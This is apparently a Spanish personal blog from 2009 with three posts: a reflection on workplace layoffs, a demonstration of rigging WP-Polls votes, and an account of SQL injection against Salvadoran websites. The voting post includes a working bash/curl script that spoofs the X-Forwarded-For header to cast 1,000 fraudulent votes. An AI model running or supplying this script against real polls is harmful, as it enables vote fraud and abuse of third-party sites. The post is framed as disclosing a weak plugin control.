viernes, octubre 16, 2009

Tristeza... un capitulo mas está por cerrarse...

Estos han sido días duros... días en los que he llegado y solo quiero dormir... no mas trabajo ni siquiera abrir la computadora...

La hora cero se acerca para la empresa para la cual he laborado por los últimos 6 años de mi vida, a estas alturas del juego aún no tenemos la certeza si la empresa continúa o no.... menos aún si yo continúo o no, lo cierto es que esta bodega de 42,000 pies cuadrados ya se ve casi vacía en su totalidad, el movimiento que queda es poco así que esta semana me ha tocado hablar con las primeras personas que se estarán recortando y llegan trabajando con nosotros hasta este día... no porque sean malos trabajadores, muy al contrario, son excelentes trabajadores, sin embargo había que hacerlo y eso es lo mas duro, no hay razón mas que... había que hacerlo.

Es grato saber que como jefatura no he fallado, como compañero de trabajo no he fallado, como empleado no he fallado, es grato escuchar que el ambiente de trabajo que tenemos/tuvimos es envidiable, pero duele escuchar a las personas "yo quisiera seguir trabajando aca, por favor, tomeme en cuenta" cuando ni siquiera yo mismo tengo nada seguro...

Ya comencé desde hace un tiempo a repartir curriculums, aún no hay nada... es un pésimo tiempo para repartir curriculums (crisis + fin de año), mas sin embargo tengo la certeza de que Dios tiene algo y que no me dejará, pero este tiempo no deja de ser duro... mas por la gente con la que trabajo, mis compañeros de trabajo, que por mi.

A estas horas suena la pelota de ping-pong en la cafetería, pelota con la que tantas veces nos hemos divertido... y hoy tiene un futuro incierto.

Ha sido una semana dura, pero la vida continúa, esto, como todo, es parte del trabajo... hoy, por todos los que trabajamos aca, tengo que salir y a pesar de esta tristeza, poner buena cara para lograr levantar el ánimo de todos... hoy tengo que ser fuerte... hoy salgo y voy a jugar, una vez mas, con rostro alegre, ping-pong.

sábado, octubre 10, 2009

Votando mas de lo permitido con WP-Polls


WP-Polls es un plugin de WordPress para administrar encuestas, nunca lo he utilizado, simplemente quiero apuntar a lo fácil que es saltarnos la seguridad que tiene de no permitirnos votar mas de una vez por IP, pudiendo votar fácilmente las veces que se deseen, por lo que este plugin no debería ser utilizado para encuestas que se desean tener datos reales ni mucho menos para concursos...

Según pude ver, gracias al plugin x-forwarded-for spoofer para firefox, al cambiar el valor de la cabecera http x-forwarded-for, me permitía votar de nuevo... de que estoy hablando? bueno, pueden encontrar mas información sobre esta cabecera http en wikipedia, en resumen diremos que esta cabecera lleva tu ip local, por ejemplo, varios de los proveedores locales de internet hacen que varias personas salgan a internet a través de una misma IP, por ejemplo, por una misma IP está accediendo el Sr. Perez a la página de su periódico favorito pero tambien está Maloso Juarez queriendo entrar por fuerza bruta a la página de administración del mismo periódico... los administradores del servidor del periódico andaban vivos y se dieron cuenta del ataque de Maloso Juares, así que deciden bloquear la IP publica de Maloso Juarez, que resulta ser también la del Sr. Perez, resultando en que el Sr. Perez no puede disfrutar de su lectura porque fue bloqueado "sin querer".

X-forwarded-for entonces no toma en cuenta la IP publica, sino la IP local... ejemplo, la IP publica del Sr. Perez y Maloso Juarez era 200.13.X.X, pero la ip local que les está asignando el router de cada casa es del tipo: 192.168.0.1, que es la IP que lleva la cabecera X-Forwarded-for.

Esto solo fue un ejemplo, claro en la vida real si estoy sufriendo un ataque bloqueo la IP, no importa quien mas quede afectado, solo quise ilustrar la diferencia de IPs.

Volviendo al X-forwarded-for, al ser una cabecera HTTP enviada por el cliente (nosotros), tenemos control completo sobre que enviar y que no, ya sea con el plugin mencionado anteriormente, algún proxy... o a pie.

Ya que descubrimos que WP-Polls unicamente verifica la dirección que viene detallada en la cabecera x-forwarded-for, entonces podemos engañarlo (IP spoofing), nos podemos entonces hacer un pequeño script bash, tenemos pues que verificar primero que variables son las que enviamos por post, para el caso WP-Polls normalmente son las siguientes:

vote=true&poll_id=1&poll_2=2&rndval=12321321321323

Bastará con identificar los valores para la opción que necesitamos, y nos hacemos nuestro script bash haciendo uso de curl,

... antes de ponerlo, hay que aclarar que en x-forwarded-for podemos poner cualquier numero y dara igual... es decir, bien puedo poner rangos reales de IP: 192.168.0.1-254, IP inventadas: 955.278.8000.6... o numero cualquiera.

ahora si.. el script:

-----------------------------
#!/bin/bash
NUM=0

#solo vamos a agregar 1,000 votos
while [ $NUM -le 1000 ]; do

#generamos un numero random para ponerlo como parte de nuestra IP
RAN=$RANDOM

# $1 indica un argumento pasado desde la linea de comandos (ver uso despues)
# $RAN es nuestro numero random generado anteriormente
# $NUM es el numero correlativo de nuestra votacion
# -H es utilizado por curl para enviar cabeceras HTTP
# -d es utilizado por curl para indicarle las variables que tiene que enviar por POST
# ademas crea un archivo con la respuesta obtenida (para saber si el voto fue efectivo)
# lo cual puede omitirse si no quieres ver un monton de archivos..
#
# Nuestra IP la forma con el argumento que le pasemos,
# el numero random y el numero correlativo
# ej. si le pasamos el argumento "200.13"
# le agrega un numero random quedando "200.13.454545"
# y luego le agrega el correlativo quedando "200.13.454545.1"
# lo que hara algo dificil que se repita ;)

curl -H "X-Forwarded-For: $1.$RAN.$NUM" -d "vote=true&poll_id=1&poll_2=2&rndval=$RAN" "http://sitio_con_WP-Poll/" >log_$1.$RAN.$NUM.html

let NUM=$NUM+1
done
-----------------------------

Lo guardamos con cualquier nombre, por ej "wp", y lo ejecutamos pasandole un argumento para hacer aun mas flexible nuestra IP...

wp "200.13"

Y ahi va nuestra votacion...

Cabe mencionar que no he verificado versiones ni mayor detalles de este plugin...

Saludos!

jueves, octubre 08, 2009

Inyectando sitios SV y el nacimiento de la Jeringa

Y un sitio llevó a otro sitio... y a otro... y a otro...

Realmente fue algo interesante, como mencionaba anteriormente, todo fue como comenzar a jalar ese hilito de la camisa y al final se desarma todo, resultó ser que un gran número de sitios de El Salvador -y otros paises- estaban hechos por la misma empresa. Tuve la oportunidad de ir y hacerles una demo de su problema, como dato interesante me di cuenta que esta empresa ocupa en su gran mayoría software libre y son "suseros", estuvimos hablando un buen rato, al final se implementó una solución con otro software libre (https://phpids.org/) que da muy buenos resultados, me invitaron a probarlo (incluso en su página tienen una parte para que pruebes tus inyecciones y xss) y después de leer un rato al respecto y ver que algunos de los mejores han colaborado para detectar y agregar vectores de ataque, definitivamente me di cuenta que es una buena solución, aunque como decía alguien en un comentario sobre este soft:
Esto estara bien para el tema de cuando quieres programar rapido y tal, pero si es algo serio o es alguna programacion a medida es un poco cutre estar usando estas cosas, das a parecer que no eres capaz de programar seguro. Pero de todas formas esta bastante bien para principiantes o gente que sepa muy poco.
En esa visita también estuvimos hablando de lo triste que es que muchas empresas y gente con posibilidades económicas no tengan el mas mínimo interés en invertir en asegurar sus sitios.

Basta darse una vuelta por zone-h para darse cuenta la cantidad de sitios salvadoreños que han sido víctimas de defaces y lo mas triste es ver que al parecer solo vuelven a levantar el sitio y la vulnerabilidad sigue ahi... tal es el caso de algunas televisoras que ni siquiera tiene información para contactarles.

Todo esto también ha llevado al nacimiento de la "jeringa", una herramienta que claro está, sirve para "inyectar", la estoy programando en perl y ocupa un par de comandos de linux, hasta el momento solo es aplicable a MySQL, detectando si es o no vulnerable a inyecciones, saca el nombre de la BD y la cantidad de tablas que tiene. Realmente no es nada del otro mundo, solo mi diversión para programar un poco, pero lo mas gracioso es que ha sido capaz de detectar y obtener información de algunos sitios que sqlmap no ha detectado.

Si, se que aún estoy pendiente con el manualito de inyecciones a ciegas, pero el trabajo ha estado pesado ultimamente, quien quita y luego publique el manual junto a la herramienta ;)

Termino con algo que he tenido en mente desde que comenzaron todos estos acontecimientos... Que necesita la gente para tomar conciencia de la seguridad? claro esta que no solo hace falta que les pasen las cosas.... tampoco son recursos..... será que tenemos que ir sitio por sitio como zerial e irles avisando a cada uno?

Saludos!!!